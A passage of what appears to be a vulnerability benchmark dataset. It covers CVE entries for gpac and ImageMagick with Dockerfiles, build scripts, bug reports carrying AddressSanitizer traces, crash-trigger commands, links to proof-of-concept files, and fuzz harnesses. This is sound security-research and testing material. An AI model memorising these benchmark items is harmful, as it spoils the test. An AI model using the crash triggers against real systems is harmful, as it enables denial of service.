(u_char*)NJS_ERROR; } - start += map[index / NJS_STRING_MAP_STRIDE - 1]; } @@ -2596,7 +2601,7 @@ njs_string_index(njs_string_prop_t *string, uint32_t offset) } -void +njs_uint_t njs_string_offset_map_init(const u_char *start, size_t size) { size_t offset; @@ -2622,6 +2627,8 @@ njs_string_offset_map_init(const u_char *start, size_t size) offset--; } while (p < end); + + return n; } diff --git a/src/njs_string.h b/src/njs_string.h index 99f9d14..7e5eaab 100644 --- a/src/njs_string.h +++ b/src/njs_string.h @@ -244,7 +244,7 @@ njs_int_t njs_string_slice(njs_vm_t *vm, njs_value_t *dst, const u_char *njs_string_offset(const u_char *start, const u_char *end, size_t index); uint32_t njs_string_index(njs_string_prop_t *string, uint32_t offset); -void njs_string_offset_map_init(const u_char *start, size_t size); +njs_uint_t njs_string_offset_map_init(const u_char *start, size_t size); double njs_string_to_index(const njs_value_t *value); const char *njs_string_to_c_string(njs_vm_t *vm, njs_value_t *value); njs_int_t njs_string_encode_uri(njs_vm_t *vm, njs_value_t *args, ``` This fix is not standard, I just provides an idea. Commit References: 569292e0a74f2b1ec09566f3329f82bdd0d58e87
[]
[ { "sha": "569292e0a74f2b1ec09566f3329f82bdd0d58e87", "url": "https://github.com/nginx/njs/commit/569292e0a74f2b1ec09566f3329f82bdd0d58e87" }, { "sha": "b9aea5854bcf6f2de8f7a7f1550874e392b94be2", "url": "https://github.com/nginx/njs/commit/b9aea5854bcf6f2de8f7a7f1550874e392b94be2" } ]
gpac.cve-2021-32270
gpac/gpac
9d593d5d7fd48bb4ab6d90b40f79faf9c6270136
2020-09-10T11:23:35
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout 9d593d5d7fd48bb4ab6d90b40f79faf9c6270136 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/gpac/gpac/issues/1586 ## Description: Issue: gpac/gpac#1586 Title: A Segmentation fault in box_code_base.c:11579 State: closed Created by: seviezhou Created at: 2020-09-04 14:58:11+00:00 Issue Body: ## System info Ubuntu x86_64, gcc (Ubuntu 5.5.0-12ubuntu1), MP4Box (latest master [5a884e](https://github.com/gpac/gpac/commit/5a884e376e1f67b3d40ec91c0b70ab49219fe3cd)) ## Configure CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --static-mp4box ## Command line ./bin/gcc/MP4Box -diso -out /dev/null @@ ## AddressSanitizer output ``` ASAN:SIGSEGV ================================================================= ==14934==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x556b734996bc bp 0x0c0c00001d9e sp 0x7fffb5212f80 T0) #0 0x556b734996bb in vwid_box_del isomedia/box_code_base.c:11579 #1 0x556b721a79de in gf_isom_box_del isomedia/box_funcs.c:1668 #2 0x556b721ab705 in gf_isom_box_parse_ex isomedia/box_funcs.c:295 #3 0x556b721ac7a1 in gf_isom_parse_root_box isomedia/box_funcs.c:38 #4 0x556b721e2f9c in gf_isom_parse_movie_boxes isomedia/isom_intern.c:259 #5 0x556b721ede7e in gf_isom_parse_movie_boxes isomedia/isom_intern.c:247 #6 0x556b721ede7e in gf_isom_open_file isomedia/isom_intern.c:740 #7 0x556b71b167df in mp4boxMain /home/seviezhou/gpac/applications/mp4box/main.c:5333 #8 0x7f5bcfaeeb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x556b71ae9be9 in _start (/home/seviezhou/gpac/bin/gcc/MP4Box+0x280be9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV isomedia/box_code_base.c:11579 vwid_box_del ==14934==ABORTING ``` ## POC [SEGV-vwid_box_del-box_code_base-11579.zip](https://github.com/gpac/gpac/files/5175561/SEGV-vwid_box_del-box_code_base-11579.zip) Attachments: https://github.com/gpac/gpac/files/5175561/SEGV-vwid_box_del-box_code_base-11579.zip Commit References: 5a884e376e1f67b3d40ec91c0b70ab49219fe3cd
[ { "content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdio.h>\n#include <unistd.h>\n\n#include <gpac/internal/isomedia_dev.h>\n#include <gpac/constants.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n\n GF_ISOFile *movie = NULL;\n movie = gf_isom_open_file(filename, GF_ISOM_OPEN_READ_DUMP, NULL);\n if (movie != NULL) {\n gf_isom_close(movie);\n }\n unlink(filename);\n return 0;\n}\n", "filename": "fuzz_parse.c" } ]
[ { "sha": "5a884e376e1f67b3d40ec91c0b70ab49219fe3cd", "url": "https://github.com/gpac/gpac/commit/5a884e376e1f67b3d40ec91c0b70ab49219fe3cd" }, { "sha": "362fc486b5c0eea04f26793d5623f6a9272bd85a", "url": "https://github.com/gpac/gpac/commit/362fc486b5c0eea04f26793d5623f6a9272bd85a" } ]
imagemagick.cve-2017-11754
imagemagick/imagemagick
2ab7a8720e8d36aaeab5eb6ca997582bb7c2b47f
2017-07-28T17:46:10
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout 2ab7a8720e8d36aaeab5eb6ca997582bb7c2b47f WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/633 ## Description: Issue: ImageMagick/ImageMagick#633 Title: Memory-Leak in AcquireAlignedMemory MagickCore/memory.c:262 State: closed Created by: zhouat Created at: 2017-07-30 11:13:07+00:00 Labels: duplicate Issue Body: Poc link : https://github.com/zhouat/poc_IM/blob/master/Memory-Leak-21_output_picon_1501391824.23 Trigger Command: `magick convert Memory-Leak-21_output_picon_1501391824.23 out.picon` ``` ================================================================= ==32246==ERROR: LeakSanitizer: detected memory leaks ... ... Indirect leak of 512 byte(s) in 1 object(s) allocated from: #0 0x7f89eef2d076 in __interceptor_posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99076) #1 0x7f89ee671ab3 in AcquireAlignedMemory MagickCore/memory.c:262 #2 0x7f89ee4b5c5b in OpenPixelCache MagickCore/cache.c:3575 #3 0x7f89ee4ae43a in GetImagePixelCache MagickCore/cache.c:1682 #4 0x7f89ee4bd4d7 in SyncImagePixelCache MagickCore/cache.c:5269 #5 0x7f89ee63d86b in SetImageStorageClass MagickCore/image.c:2513 #6 0x7f89ee4dc3af in AcquireImageColormap MagickCore/colormap.c:144 #7 0x7f89ee842995 in ReadGIFImage coders/gif.c:1280 #8 0x7f89ee516ed4 in ReadImage MagickCore/constitute.c:497 #9 0x7f89ee49118b in BlobToImage MagickCore/blob.c:428 #10 0x7f89ee97cf40 in WritePICONImage coders/xpm.c:689 #11 0x7f89ee51a032 in WriteImage MagickCore/constitute.c:1114 #12 0x7f89ee51acae in WriteImages MagickCore/constitute.c:1333 #13 0x7f89ede735cf in ConvertImageCommand MagickWand/convert.c:3280 #14 0x7f89edef370b in MagickCommandGenesis MagickWand/mogrify.c:183 #15 0x4017e1 in MagickMain utilities/magick.c:149 #16 0x4019c2 in main utilities/magick.c:180 #17 0x7f89ed71f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ``` Comments: Comment by mikayla-grace on 2017-07-30 21:53:06+00:00: Unfortunately, we cannot reproduce this problem. Its possible the fix for #631 also fixed this problem as well. --- Comment by bastien-roucaries on 2017-08-02 13:32:16+00:00: CVE-2017-11754
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "cb713211bad3fa4f0c535255fa043917482fc964", "url": "https://github.com/ImageMagick/ImageMagick/commit/cb713211bad3fa4f0c535255fa043917482fc964" }, { "sha": "b04e9c949d917a4a603f1a9bfe09737246229323", "url": "https://github.com/ImageMagick/ImageMagick/commit/b04e9c949d917a4a603f1a9bfe09737246229323" } ]
gpac.cve-2019-20164
gpac/gpac
ed4ec31ea84a1a94abb17669db33f5c4e7a679cf
2020-06-15T05:33:03
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout ed4ec31ea84a1a94abb17669db33f5c4e7a679cf WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/gpac/gpac/issues/1332 ## Description: Issue: gpac/gpac#1332 Title: AddressSanitizer: NULL pointer dereference (use-after-free ) in gf_isom_box_del isomedia/box_funcs.c:1500 State: closed Created by: Clingto Created at: 2019-11-09 11:19:52+00:00 Issue Body: System info: Ubuntu 16.04.6 LTS, X64, gcc 5.4.0, gpac (latest master 00dfc93) Compile Command: ``` $ CC="gcc -fsanitize=address -g" CXX="g++ -fsanitize=address -g" ./configure --static-mp4box $ make ``` Run Command: ``` $ MP4Box -diso -out /dev/null $POC-new-gf_isom_box_del ``` POC file: https://github.com/Clingto/POC/blob/master/gpac-MP4Box/gpac-00dfc93-crashes/POC-new-gf_isom_box_del gdb info: ```C Error in /bin/MP4Box: free(): invalid next size (fast): 0x00000000009cc5a0 ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff73447e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7ffff734d37a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7ffff735153c] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff72ed830] ======= Memory map: ======== 009c8000-009ec000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff70b7000-7ffff70cd000 r-xp 00000000 08:02 67633677 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff70cd000-7ffff72cc000 ---p 00016000 08:02 67633677 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff72cc000-7ffff72cd000 rw-p 00015000 08:02 67633677 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff72cd000-7ffff748d000 r-xp 00000000 08:02 67637542 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff748d000-7ffff768d000 ---p 001c0000 08:02 67637542 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff768d000-7ffff7691000 r--p 001c0000 08:02 67637542 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7691000-7ffff7693000 rw-p 001c4000 08:02 67637542 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7693000-7ffff7697000 rw-p 00000000 00:00 0 7ffff7697000-7ffff76b0000 r-xp 00000000 08:02 67633774 /lib/x86_64-linux-gnu/libz.so.1.2.8 7ffff76b0000-7ffff78af000 ---p 00019000 08:02 67633774 /lib/x86_64-linux-gnu/libz.so.1.2.8 7ffff78af000-7ffff78b0000 r--p 00018000 08:02 67633774 /lib/x86_64-linux-gnu/libz.so.1.2.8 7ffff78b0000-7ffff78b1000 rw-p 00019000 08:02 67633774 /lib/x86_64-linux-gnu/libz.so.1.2.8 7ffff78b1000-7ffff79b9000 r-xp 00000000 08:02 67637545 /lib/x86_64-linux-gnu/libm-2.23.so 7ffff79b9000-7ffff7bb8000 ---p 00108000 08:02 67637545 /lib/x86_64-linux-gnu/libm-2.23.so 7ffff7bb8000-7ffff7bb9000 r--p 00107000 08:02 67637545 /lib/x86_64-linux-gnu/libm-2.23.so 7ffff7bb9000-7ffff7bba000 rw-p 00108000 08:02 67637545 /lib/x86_64-linux-gnu/libm-2.23.so 7ffff7bba000-7ffff7bd2000 r-xp 00000000 08:02 67637529 /lib/x86_64-linux-gnu/libpthread-2.23.so 7ffff7bd2000-7ffff7dd1000 ---p 00018000 08:02 67637529 /lib/x86_64-linux-gnu/libpthread-2.23.so 7ffff7dd1000-7ffff7dd2000 r--p 00017000 08:02 67637529 /lib/x86_64-linux-gnu/libpthread-2.23.so 7ffff7dd2000-7ffff7dd3000 rw-p 00018000 08:02 67637529 /lib/x86_64-linux-gnu/libpthread-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:02 67637528 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdf000-7ffff7fe4000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ff8000 rw-p 00000000 00:00 0 7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:02 67637528 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:02 67637528 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] Program received signal SIGABRT, Aborted. 0x00007ffff7302428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff7302428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 #1 0x00007ffff730402a in __GI_abort () at abort.c:89 #2 0x00007ffff73447ea in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7ffff745ded8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175 #3 0x00007ffff734d37a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff745df50 "free(): invalid next size (fast)", action=3) at malloc.c:5006 #4 _int_free (av=<optimized out>, p=<optimized out>, have_lock=0) at malloc.c:3867 #5 0x00007ffff735153c in __GI___libc_free (mem=<optimized out>) at malloc.c:2968 #6 0x0000000000512a7d in gf_isom_box_del () #7 0x0000000000513810 in gf_isom_box_parse_ex.constprop () #8 0x0000000000513e15 in gf_isom_parse_root_box () #9 0x000000000051b4fe in gf_isom_parse_movie_boxes.part () #10 0x000000000051c48c in gf_isom_open_file () #11 0x000000000041c082 in mp4boxMain () #12 0x00007ffff72ed830 in __libc_start_main (main=0x40eb70 <main>, argc=5, argv=0x7fffffffe318, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe308) at ../csu/libc-start.c:291 #13 0x000000000040eba9 in _start () ``` ASAN info: ```C ASAN:SIGSEGV ================================================================= ==27733==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000006c3869 bp 0x60200000eff0 sp 0x7fffffff8560 T0) #0 0x6c3868 in gf_isom_box_del isomedia/box_funcs.c:1500 #1 0x6c3a06 in gf_isom_box_array_del isomedia/box_funcs.c:270 #2 0x6dce18 in gf_isom_delete_movie isomedia/isom_intern.c:657 #3 0x6dd32b in gf_isom_open_file isomedia/isom_intern.c:624 #4 0x42f88a in mp4boxMain /home/aota09/yyp/fuzzcompare/test/gpac/test-crash/build_asan_00dfc93/applications/mp4box/main.c:4767 #5 0x7ffff638082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x41e228 in _start (/home/aota09/yyp/fuzzcompare/test/gpac/test-crash/bin_asan/bin/MP4Box+0x41e228) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV isomedia/box_funcs.c:1500 gf_isom_box_del ==27733==ABORTING ``` --- Edit This bug issue still exists in latest version 0.8.0: 4c19ae5 and 0.9.0: 1de1f8d asan ``` [iso file] Movie fragment but no moov (yet) - possibly broken parsing! [isom] not enough bytes in box tenc: 0 left, reading 139 (file isomedia/box_code_drm.c, line 1001) [iso file] Read Box "tenc" (start 8) failed (Invalid IsoMedia File) - skipping ASAN:SIGSEGV ================================================================= ==7918==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000006c45d9 bp 0x60200000eff0 sp 0x7fffffff8530 T0) #0 0x6c45d8 in gf_isom_box_del isomedia/box_funcs.c:1501 #1 0x6c4776 in gf_isom_box_array_del isomedia/box_funcs.c:270 #2 0x6de7d8 in gf_isom_delete_movie isomedia/isom_intern.c:657 #3 0x6deceb in gf_isom_open_file isomedia/isom_intern.c:624 #4 0x42f93d in mp4boxMain /home/aota09/yyp/fuzzcompare/test/gpac/test-crash/build_asan_1de1f8d-0.9/applications/mp4box/main.c:4789 #5 0x7ffff638082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x41e278 in _start (/home/aota09/yyp/fuzzcompare/test/gpac/test-crash/bin_asan_1de1f8d-0.9/bin/MP4Box+0x41e278) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV isomedia/box_funcs.c:1501 gf_isom_box_del ``` --- Addition: This bug was found with our fuzzer, which is based on AFL. Our fuzzer is developed by Yuanpingyu(cfenicey@gmail.com) 、Yanhao and Marsman1996(lqliuyuwei@outlook.com) asan: ``` ==23293==ERROR: AddressSanitizer: heap-use-after-free on address 0x60600000eeb8 at pc 0x0000006d2f36 bp 0x7ffc000b4c30 sp 0x7ffc000b4c20 READ of size 8 at 0x60600000eeb8 thread T0 #0 0x6d2f35 in gf_isom_box_del isomedia/box_funcs.c:1501 #1 0x6d2e5e in gf_isom_box_array_del isomedia/box_funcs.c:270 #2 0x6d2e5e in gf_isom_box_del isomedia/box_funcs.c:1517 #3 0x6d2e5e in gf_isom_box_array_del isomedia/box_funcs.c:270 #4 0x6d2e5e in gf_isom_box_del isomedia/box_funcs.c:1517 #5 0x6d2e5e in gf_isom_box_array_del isomedia/box_funcs.c:270 #6 0x6d2e5e in gf_isom_box_del isomedia/box_funcs.c:1517 #7 0x6d2e5e in gf_isom_box_array_del isomedia/box_funcs.c:270 #8 0x6d2e5e in gf_isom_box_del isomedia/box_funcs.c:1517 #9 0x6d4300 in gf_isom_box_array_read_ex isomedia/box_funcs.c:1422 #10 0xb17c35 in moov_Read isomedia/box_code_base.c:3745 #11 0x6d4817 in gf_isom_box_read isomedia/box_funcs.c:1529 #12 0x6d4817 in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #13 0x6d51c7 in gf_isom_parse_root_box isomedia/box_funcs.c:42 #14 0x6eb4fb in gf_isom_parse_movie_boxes isomedia/isom_intern.c:206 #15 0x6ee2a2 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:194 #16 0x6ee2a2 in gf_isom_open_file isomedia/isom_intern.c:615 #17 0x431899 in mp4boxMain /home/aota05/yyp/fuzzsequence/test/gpac_4c19ae5/SRC_asan/applications/mp4box/main.c:4789 #18 0x7f49dcbd882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #19 0x41f648 in _start (/home/aota05/yyp/fuzzsequence/test/gpac_4c19ae5/SRC_asan/build/bin/MP4Box+0x41f648) 0x60600000eeb8 is located 24 bytes inside of 56-byte region [0x60600000eea0,0x60600000eed8) freed by thread T0 here: #0 0x7f49dd75a2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca) #1 0x6d2ea7 in gf_isom_box_del isomedia/box_funcs.c:1509 #2 0xb052ef in stbl_AddBox isomedia/box_code_base.c:5314 #3 0x6d3f11 in gf_isom_box_array_read_ex isomedia/box_funcs.c:1472 #4 0xb1d707 in stbl_Read isomedia/box_code_base.c:5381 #5 0x6d333e in gf_isom_box_read isomedia/box_funcs.c:1529 #6 0x6d333e in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #7 0x6d3e2a in gf_isom_box_array_read_ex isomedia/box_funcs.c:1420 #8 0xb1701a in minf_Read isomedia/box_code_base.c:3500 #9 0x6d333e in gf_isom_box_read isomedia/box_funcs.c:1529 #10 0x6d333e in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #11 0x6d3e2a in gf_isom_box_array_read_ex isomedia/box_funcs.c:1420 #12 0xb15187 in mdia_Read isomedia/box_code_base.c:3021 #13 0x6d333e in gf_isom_box_read isomedia/box_funcs.c:1529 #14 0x6d333e in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #15 0x6d3e2a in gf_isom_box_array_read_ex isomedia/box_funcs.c:1420 #16 0xb249cd in trak_Read isomedia/box_code_base.c:7134 #17 0x6d333e in gf_isom_box_read isomedia/box_funcs.c:1529 #18 0x6d333e in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #19 0x6d3e2a in gf_isom_box_array_read_ex isomedia/box_funcs.c:1420 #20 0xb17c35 in moov_Read isomedia/box_code_base.c:3745 #21 0x6d4817 in gf_isom_box_read isomedia/box_funcs.c:1529 #22 0x6d4817 in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #23 0x6d51c7 in gf_isom_parse_root_box isomedia/box_funcs.c:42 #24 0x6eb4fb in gf_isom_parse_movie_boxes isomedia/isom_intern.c:206 #25 0x6ee2a2 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:194 #26 0x6ee2a2 in gf_isom_open_file isomedia/isom_intern.c:615 #27 0x431899 in mp4boxMain /home/aota05/yyp/fuzzsequence/test/gpac_4c19ae5/SRC_asan/applications/mp4box/main.c:4789 #28 0x7f49dcbd882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) previously allocated by thread T0 here: #0 0x7f49dd75a602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0xb1e93d in stco_New isomedia/box_code_base.c:5616 #2 0x6d28d8 in gf_isom_box_new_ex isomedia/box_funcs.c:1385 #3 0x6d31ae in gf_isom_box_parse_ex isomedia/box_funcs.c:182 #4 0x6d3e2a in gf_isom_box_array_read_ex isomedia/box_funcs.c:1420 #5 0xb1d707 in stbl_Read isomedia/box_code_base.c:5381 #6 0x6d333e in gf_isom_box_read isomedia/box_funcs.c:1529 #7 0x6d333e in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #8 0x6d3e2a in gf_isom_box_array_read_ex isomedia/box_funcs.c:1420 #9 0xb1701a in minf_Read isomedia/box_code_base.c:3500 #10 0x6d333e in gf_isom_box_read isomedia/box_funcs.c:1529 #11 0x6d333e in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #12 0x6d3e2a in gf_isom_box_array_read_ex isomedia/box_funcs.c:1420 #13 0xb15187 in mdia_Read isomedia/box_code_base.c:3021 #14 0x6d333e in gf_isom_box_read isomedia/box_funcs.c:1529 #15 0x6d333e in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #16 0x6d3e2a in gf_isom_box_array_read_ex isomedia/box_funcs.c:1420 #17 0xb249cd in trak_Read isomedia/box_code_base.c:7134 #18 0x6d333e in gf_isom_box_read isomedia/box_funcs.c:1529 #19 0x6d333e in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #20 0x6d3e2a in gf_isom_box_array_read_ex isomedia/box_funcs.c:1420 #21 0xb17c35 in moov_Read isomedia/box_code_base.c:3745 #22 0x6d4817 in gf_isom_box_read isomedia/box_funcs.c:1529 #23 0x6d4817 in gf_isom_box_parse_ex isomedia/box_funcs.c:208 #24 0x6d51c7 in gf_isom_parse_root_box isomedia/box_funcs.c:42 #25 0x6eb4fb in gf_isom_parse_movie_boxes isomedia/isom_intern.c:206 #26 0x6ee2a2 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:194 #27 0x6ee2a2 in gf_isom_open_file isomedia/isom_intern.c:615 #28 0x431899 in mp4boxMain /home/aota05/yyp/fuzzsequence/test/gpac_4c19ae5/SRC_asan/applications/mp4box/main.c:4789 #29 0x7f49dcbd882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ``` Comments: Comment by carnil on 2019-12-31 10:03:26+00:00: CVE-2019-20164 was assigned for this issue. --- Comment by aureliendavid on 2020-01-08 12:44:58+00:00: Thanks for the report. This should be fixed in master / 0.8.0 as of the above commit. It will be included in filters / 0.9.0 in the next merge. Feel free to reopen the issue if necessary.
[ { "content": "/* Copyright 2021 Google LLC\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n#include <stdio.h>\n#include <unistd.h>\n\n#include <gpac/internal/isomedia_dev.h>\n#include <gpac/constants.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char filename[256];\n sprintf(filename, \"/tmp/libfuzzer.%d\", getpid());\n\n FILE *fp = fopen(filename, \"wb\");\n if (!fp) {\n return 0;\n }\n fwrite(data, size, 1, fp);\n fclose(fp);\n\n GF_ISOFile *movie = NULL;\n movie = gf_isom_open_file(filename, GF_ISOM_OPEN_READ_DUMP, NULL);\n if (movie != NULL) {\n gf_isom_close(movie);\n }\n unlink(filename);\n return 0;\n}\n", "filename": "fuzz_parse.c" } ]
